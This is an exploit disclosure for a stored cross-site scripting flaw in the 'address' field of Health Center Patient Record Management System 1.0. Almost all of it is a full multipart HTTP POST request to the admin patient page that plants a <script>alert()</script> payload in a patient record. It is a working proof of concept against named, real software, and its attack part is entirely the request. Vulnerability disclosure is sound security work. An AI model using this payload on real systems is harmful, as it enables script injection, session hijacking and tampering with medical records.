Health Center Patient Record Management System 1.0 Cross Site Scripting

`# Exploit Title: Health Center Patient Record Management System | 'address' param Stored Cross Site Scripting  
# Exploit Author: Richard Jones  
# Date: 2021-03-29  
# Vendor Homepage: https://www.sourcecodester.com/php/11058/health-center-patient-record-management-system.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=11058&title=Health+Center+Patient+Record+Management+System+using+PHP+with+Source+Code  
# Version: 1.0  
# Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34  
  
http://127.0.0.1/hcpms/admin/patient.php  
  
POST /hcpms/admin/patient.php HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-GB,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: multipart/form-data; boundary=---------------------------39853461824084458643124946581  
Content-Length: 2359  
Origin: http://TARGET  
Connection: close  
Referer: http://TARGET/hcpms/admin/patient.php  
Cookie: PHPSESSID=7iaa6u728l50ok9kj16upnbm5k  
Upgrade-Insecure-Requests: 1  
  
-----------------------------39853461824084458643124946581  
Content-Disposition: form-data; name="itr_no"  
  
9  
-----------------------------39853461824084458643124946581  
Content-Disposition: form-data; name="family_no"  
  
  
-----------------------------39853461824084458643124946581  
Content-Disposition: form-data; name="firstname"  
  
Tester  
-----------------------------39853461824084458643124946581  
Content-Disposition: form-data; name="middlename"  
  
Testermid  
-----------------------------39853461824084458643124946581  
Content-Disposition: form-data; name="lastname"  
  
Testerlast  
-----------------------------39853461824084458643124946581  
Content-Disposition: form-data; name="month"  
  
04  
-----------------------------39853461824084458643124946581  
Content-Disposition: form-data; name="day"  
  
06  
-----------------------------39853461824084458643124946581  
Content-Disposition: form-data; name="year"  
  
2013  
-----------------------------39853461824084458643124946581  
Content-Disposition: form-data; name="phil_health_no"  
  
  
-----------------------------39853461824084458643124946581  
Content-Disposition: form-data; name="address"  
  
<script>alert()</script>  
-----------------------------39853461824084458643124946581  
Content-Disposition: form-data; name="age"  
  
2  
-----------------------------39853461824084458643124946581  
Content-Disposition: form-data; name="civil_status"  
  
Single  
-----------------------------39853461824084458643124946581  
Content-Disposition: form-data; name="gender"  
  
Male  
-----------------------------39853461824084458643124946581  
Content-Disposition: form-data; name="bp"  
  
a  
-----------------------------39853461824084458643124946581  
Content-Disposition: form-data; name="temp"  
  
2  
-----------------------------39853461824084458643124946581  
Content-Disposition: form-data; name="pr"  
  
a  
-----------------------------39853461824084458643124946581  
Content-Disposition: form-data; name="rr"  
  
a  
-----------------------------39853461824084458643124946581  
Content-Disposition: form-data; name="wt"  
  
2  
-----------------------------39853461824084458643124946581  
Content-Disposition: form-data; name="ht"  
  
a  
-----------------------------39853461824084458643124946581  
Content-Disposition: form-data; name="save_patient"  
  
  
-----------------------------39853461824084458643124946581--  
`